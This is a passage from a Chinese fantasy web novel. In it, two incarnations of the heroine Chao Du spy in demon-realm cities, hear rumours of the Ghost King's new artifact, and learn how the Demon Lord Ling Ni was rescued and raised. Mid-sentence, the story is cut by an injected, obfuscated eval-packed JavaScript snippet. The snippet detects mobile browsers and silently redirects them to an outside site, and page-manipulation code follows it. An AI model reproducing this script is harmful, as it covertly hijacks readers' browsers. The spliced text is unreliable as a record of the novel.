另一个朝渡看见这傀儡,顿时想起那家药铺卖的傀儡药,这个傀儡该不会曾经也是这雪月城里的修仙者吧……? 朝渡提醒道:“先点菜,随便点两样。” 另一个朝渡忍着恶心回忆刚才看到的菜单:“……血酒,凉拌心肝。” 傀儡点头记下,片刻后就端上来一壶酒,一盘带着血丝的菜。 另一个朝渡掀开酒壶的盖看了一眼,腥味扑面而来,血红的酒液轻轻摇晃,倒是比想象中的诱人……但一想起这些都可能是用 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“修仙界出了这么个剑仙,连魔修都能重伤,咱们可怎么办?” 另一个朝渡听得得意:就是要让他们害怕! 来魔域的路上,朝渡已经同另一个朝渡说了这件事,另一个朝渡对她的不告而别表达了强烈不满,要求下次一定要带上她。 又听那桌有人低低笑道:“放心,修仙界出了剑仙也没用。听说鬼王那边炼成了个了不得的法宝,修仙界不会有下个十年了,到时候那些修仙者都得当我们的盘中餐!” “还是修仙者的肉好吃啊!”有人舔了舔嘴角,笑道,“吃过一次就忘不了那个味了。” 随着清脆的“啪”的一声,另一个朝渡手中的筷子断了,顿时几个人向她看来。 另一个朝渡:“……这筷子不太结实。” “怎么着,找事?想赖账?!”老板掀开帘子,手里拿着菜刀,气势汹汹地走过来,把菜刀往她所坐的桌子上一劈,恶狠狠道,“敢赖账,就变成我店里的菜吧!” 另一个朝渡不想引起注意,忙道:“不赖账不赖账,结账,多少钱?” 老板将她上下打量一遍,冷笑道:“本来三十五铜钱就够,现在,你得把你手上的镯子留下来!” 另一个朝渡隔着面具瞪他:“你不要欺人太甚!” “就欺负你了,怎么着吧?”老板冷笑,“本来就是你先找事,这么弱还敢找事,只要你一对镯子都算我仁慈,你当这是修仙界呢?” 另一个朝渡咬牙切齿,朝渡在她耳旁道:“摘掉一只镯子。” 另一个朝渡惊讶不解。 小鸟朝渡目光锐利:“然后去跟他打一架,他不是你的对手。你这一身魔气,在魔域算是如鱼得水,大胆用,该打就打。” 另一个朝渡眼前一亮,顿时摘掉了镯子。 “这就对了……”老板笑眯眯地把手伸向冰髓静魔镯,手腕却被另一个朝渡捉住向反方向一拧,一道凄厉的惨叫声顿时响遍整个街道。 旁边的几桌食客也惊呆了:“她怎么这么厉害?” “好强的魔气!她藏得好深!” “老板欺负错人咯。” “嘻嘻打起来,打起来!” 另一个朝渡松了手,还待继续教训这老板,却见他惊恐退后,捂着变形的手腕连连磕头道:“我错了我错了!小人有眼不识泰山,还望大人开恩,放过小人一次!” 朝渡也道:“点到为止吧,咱们主要是来搜集情报的,不能太惹人注目了。” 另一个朝渡点头,冷哼一声:“这次就放了你!” 老板连忙道:“多谢大人多谢大人!这两盘菜都当是我送您的!您能来小店是我的福气!您还想吃什么,小人再去给您做几道!” 另一个朝渡高深莫测地摆了摆手,戴上镯子离开了店,继续往前走,前面还有衣服铺子,旅店,鬼修开的卖鬼魂的店,再往前竟还有一家茶水摊。 魔域,有茶水铺? 另一个朝渡没忍住仔细瞅了瞅它的菜单,发现它真的是一家普通的茶水摊,但是在魔域出现茶水摊本身就不普通:毕竟没有几个魔修会爱喝茶吧? 她又观察茶水摊内的正喝茶闲聊的几个人:从老板到顾客,都是白发苍苍,彼此看起来很熟络,而且他们身上的魔气很是单薄……这说明他们没害过太多人? 她的目光落在他们身上有点久,其中一个老人转头看向她,笑问:“怎么,没见过喝茶的魔修?” 另一个朝渡感觉他没什么恶意,也笑道:“我入魔没多久,确实头一次见魔修饮茶。” 几个老人都开心地笑了起来,其中一个老奶奶对她招手道:“过来坐,今儿个我请你喝,难得见个新人。” 另一个朝渡犹豫片刻,坐了过去:这几个老人竟然看着都挺和蔼的,而且他们杯中的茶看起来当真没什么魔气,正常到不可思议。 那个老奶奶亲手给她倒了杯茶,递到她手中,朝渡仔细观察,判断道:“应该能喝。” 另一个朝渡尝了一小口,老奶奶笑问:“感觉怎么样?” 另一个朝渡如实道:“我没喝出来什么味道……这茶有点淡?” “不是茶淡,是你入魔程度深。”旁边一个老爷爷将她上下打量,目光落在了她的镯子上,了然道,“用了遮掩魔气的法宝?” 另一个朝渡点头,惊讶环顾四周老人:“各位入魔程度看起来都很浅?” “毕竟我们也不是真的想当魔修,只是想多活几年罢了。”那老奶奶端着茶笑叹,“我们几个没一个杀过人的,只是偶尔会去‘借’别人几年寿。” 另一老人点头道:“我们曾经也都是修仙者,干不来那种杀人炼尸的事……唉,虽然活着也没啥意思,但是真不想死啊。” 几个人纷纷点头感叹,又有人道: “不过听说修仙界出了个剑仙,前两天把魔尊打成了重伤,等那剑仙打过来时,咱们怕是都活不了咯。” “我瞧着未必,魔尊虽败,但真正坐镇魔域的可是那位鬼王!哪怕是剑仙也未必是鬼王的对手。而且这次修仙界一赢,很容易放松警惕而轻敌啊,若是鬼王趁机动手……修仙界怕是要重蹈十年前的覆辙了。” “唉,十年前那可太惨烈了……” 他们聊着聊着回忆起往事,另一个朝渡端着茶听着,直到一只隐身的蓝色小鸟轻轻落回她的肩头。 粉色小鸟开口道:“我让早起探查过这座城了,主要就这条街道热闹点,魔修人数不算多,换个城继续探查吧。我比较在意刚才酒馆里那人提到的,鬼王新炼成的法宝,不如直接去冥明城看看吧,那里鬼修多,也许会有更多鬼王的消息。” 45. 冥明城 冥明城在魔域的腹地,两个朝渡乘坐白玉鹤,飞了三天才看到这座城的影子。 阴雨连绵中,这座城像一只庞然巨兽,蛰伏着,等待着将猎物一口吞下的良机。 另一个朝渡远远看见,忍不住感叹:“好大的一座城!比我们之前见过的那几座都大!而且看起来不是废墟!” 朝渡也望过去:“毕竟是由上任魔尊建立,还有现任魔尊坐镇的城,应该算是魔域里最热闹的一座城了吧?” 另一个朝渡诧异:“这里不是鬼修多吗?我还以为是鬼王在管。” “魔修也多。”朝渡解释道,“鬼王不怎么爱管这些俗事,基本都交给魔尊在管,这对师徒关系倒是好的紧,连带着手下那些魔修鬼修关系也不错。” 另一个朝渡愣住:“等一下,魔尊跟鬼王是师徒?!我只记得现任魔尊和前任魔尊是师徒关系,那这鬼王,难道是现任魔尊的徒弟?” 朝渡微笑摇头:“不是,这位鬼王,其实就是上任魔尊凌问,她换了姓名面貌还有性别,现在应该叫他‘长梦’。” 另一个朝渡大受震撼:“我一直听说鬼王长梦是一容貌俊美的男子,没想到居然还是她……那这样算起来,凌问当过仙盟盟主,魔尊和鬼王?她这辈子就差没当过妖皇了。” 朝渡点头,感叹:“她千年修仙,百年为魔,数十年做鬼,死了都不让人安宁。” “真能折腾啊……”另一个朝渡忍不住吐槽,又问,“对了,其实我一直不懂,她当年为什么要叛出仙盟?有人说是因为她修炼时走火入魔,藏不住了,有人说是她觉得成仙飞升是假的,道心崩溃入了魔,有人说是她修仙面临瓶颈,想换条路走,还有人说她为了延长寿命主动入魔,到底哪种说法才是真的?” “这个嘛,真正原因得问她本人,不,本鬼。”朝渡微笑,“不过让我来猜的话,我觉得她归根结底是为了寿命。凌问做仙盟之主时,寿命将尽,修炼却遇到瓶颈迟迟难以突破,她的朋友纷纷羽化陨落,她不甘心就此结束,便主动入了魔,寻求那些夺人寿命甚至更换躯壳的延寿之法。至于后面成鬼,一是仙盟成功讨伐她,将她躯壳镇压,二来,其实我总觉得当年她是主动放弃这躯壳的,她当年迎战仙盟,却把那时还是她左护法的灵逆等亲信提前都安排走了,连自己的魂魄都转移了,只留下一具傀儡般的躯壳对敌,她压根不像打算赢的样子。” 另一个朝渡不解:“她为何不打算赢?” “也许是因为她那时对仙盟还有些愧疚吧,毕竟她背叛仙盟主动入魔的行为让不少修仙者道心破碎,还引起很多人的模仿,那些年主动入魔的人极多。”朝渡摇头轻叹,“然后她以死偿还仙盟,舍弃了躯壳,舍弃了名字面貌与过往,仅以魂魄修炼,成了鬼王‘长梦’。但我感觉她舍弃躯壳的目的不仅于此,她一直觉得,躯壳终有局限,寿命终有尽数,她想找到一个跳出轮回之外,真正与天同寿的法子。” “跳出轮回,与天同寿……”另一个朝渡呢喃,感叹道,“她也真敢想,也是,她这种当过盟主,魔尊和鬼王的人,有什么不敢想的?对了,我听说魔尊灵逆之所以这么尊敬她,不仅因为师徒关系,还因为她对灵逆有救命之恩,报仇之恩,这是真的吗?” “真的。”朝渡点头道,“灵逆的父母为了追求荣华富贵,把刚出生的她与一个大家族的小姐换了命格和躯壳。换完之后,她寿数只剩十年,无法修炼,她父母心虚地把她遗弃,她被一个小门派捡到收留,但经常被门派中的小孩欺负,后来还跟这些小孩一起被凌问的手下劫走当药引子。” 潮湿阴暗的囚笼中,几个小孩害怕地在靠墙的角落里挤成一团,一个瘦骨嶙峋,头发枯黄的小女孩孤零零地坐在另一个角落里。 当凌问来挑药引子时,囚笼中有的小孩尖叫哭泣,有的小孩吓得失声,有的小孩指向角落里的小女孩,“推荐”道:“先吃她吧!她肉嫩!” 一时满屋的目光都落到那个小女孩身上。 凌问打量了一下角落里的她,挑眉笑道:“无法修炼,阳寿最多十年,你的命有点差呀,不对,你这命格,似乎有被修改过的痕迹……” 小女孩瑟瑟发抖,垂泪无言,已经绝望到麻木。 凌问忽然起了兴致:“你平时是不是经常被他们欺负?” 小女孩颤巍巍地点头。 “你吃了我吧。”小女孩说,她已经彻底绝望了,活着对她而言是种折磨。 “我不吃你,还给你一次报复他们的机会,想不想试试?”凌问笑问。 小女孩缓缓抬头,目露不解。 “你可以从他们中选一个喜欢的躯壳,把你的魂魄移进去。”在一片惊恐的尖叫声中,凌问笑眯眯道,“从今往后,你就可以修炼了,你的寿命也就不止十年了,还能把原来那些欺负你的人都踩到脚底下。” “我、我也可以修炼了吗?”她的眼睛缓缓亮了起来。 凌问让人打开笼门,放她出来,然后温柔地抚摸她的脑袋:“对,不过不是作为修仙者,而是作为魔修,你愿意吗?” 小女孩仰慕地望着她:“跟你一样的魔修吗?那魔修就魔修,反正那些修仙者,只会欺负我。” 那是魔尊的一时兴起,却让她重获新生。 她后来靠着勤奋修炼与聪明忠心,成为了凌问入魔后收下的唯一一个徒弟。 而凌问给她的拜师礼是:找到了当年换她命格与躯壳的那一家族,带着她屠了其全族,包括已经改名换姓融入其中的她本来的爹娘,并且取回了她原本的躯壳与命格。 此后,灵逆对魔尊愈发忠心耿耿,担任了右护法,司刑罚,对背叛魔尊的人往往处以骇人听闻的重刑。 最终在魔尊“死”后,灵逆成为了令人闻风丧胆的新魔尊。 另一个朝渡听得感慨万千:“难怪灵逆对她那么忠心!” 朝渡也感叹:“是啊。凌问还送了她一个新名字,‘逆’,意思是逆转命运。灵逆连姓也想改,改成跟凌问一样的‘凌’字,但凌问不让,她说自己已经不算凌家人了,灵逆才给自己取了个与凌同音的灵姓。” 两人聊着魔尊与鬼王的往事,很快便到了冥明城附近。 朝渡派小鸟早起去探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753178|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查:“城门口有看守,需要验明魔修身份,整座城都被法阵笼罩,没法偷偷潜入进去。” 另一个朝渡深吸一口气又缓缓呼出:“交给我吧。” 幽绿的大灯笼高悬在城门口,仿佛巨兽的眼睛,两排披坚执锐的阴兵盯着路过的每一个人,盯得另一个朝渡如芒在背。 另一个朝渡来到城门口的登记处,登记时给自己取了个化名“卯时”。 卯时是日出的时间。 而后她正式进了城中:这冥明城当真热闹,路上人来人往的,街道两旁店铺灯火明亮,照出店铺内奇形怪状的影子。 隐身的早起振翼而起,于高处俯视全城。 小鸟朝渡在另一个朝渡的肩头道:“找到最热闹的地方了,那应该是一栋酒楼,跟着早起走。” 片刻后,两人来到一栋华丽的五层楼阁前。 “水中月?”另一个朝渡念出酒楼的名字。 小鸟朝渡:“走,进去看看,我感觉楼里有很强的阵法,要小心。” 一进楼,一个可爱的小女孩就向另一个朝渡跑了过来,口中亲切地唤着“娘亲”。 另一个朝渡呆住:“忆昔……?你怎么会在这里?!” 朝渡用爪子捏了捏她的肩:“这是假的,是幻象,是水中月。” 另一个朝渡:“……只可望,不可及吗?” 但她仍是忍不住俯下身轻轻摩挲小女孩的头顶:太久没见到她了,哪怕明知是幻象,也忍不住沉溺其中。 朝渡轻轻叹气,没有再拦她,忽视掉眼前的“龙鸣玄”,专心让小鸟早起去查探楼中情况,挑几个看起来就身份不简单的人去偷听一下他们的交谈。 另一个朝渡牵住小女孩的手,带着她一同走在这“水中月”中:虽然不舍得松开女儿的手,但她没忘了来这里的目的。 另一个朝渡绕着酒楼缓缓走动,观察这里的客人:这“水中月”里的客人,大都有个可望不可及的幻象相伴身侧,而且有的幻象可以化形,有的却只能凭借客人本身的动作去推测它的存在,不知是何原因。 “客官,您这是要去哪?”一个小二忽然拦住了她的路。 另一个朝渡心头一紧,本能地想护住女儿,在看到“傅忆昔”时,她灵机一动道:“我女儿头一次来这,想逛一逛。” “这样啊……”小二看了看她身旁的空荡荡,并不怀疑,只道,“那客人您请便,不过三楼往上不能去了,那里都是贵客,咱们打扰不起的。” 另一个朝渡点头,带着“傅忆昔”在一楼和二楼四处闲逛,时不时装出陪女儿玩闹的样子,实则在趁机偷听其他客人的交谈。 “魔尊重伤,鬼王果然坐不住了,开始召集魔修鬼修了。” “这是要打修仙界了吗?”那人听起来很是激动,“这次一定能把修仙界全部拿下来!” “以后修仙界都是魔域的地盘!” 两人干杯饮酒。 另一个朝渡带着“傅忆昔”又换了个地方,路过一桌时,忽然听到一个人道:“鬼王新炼出的法宝不得了,据说可以逆转阴阳!”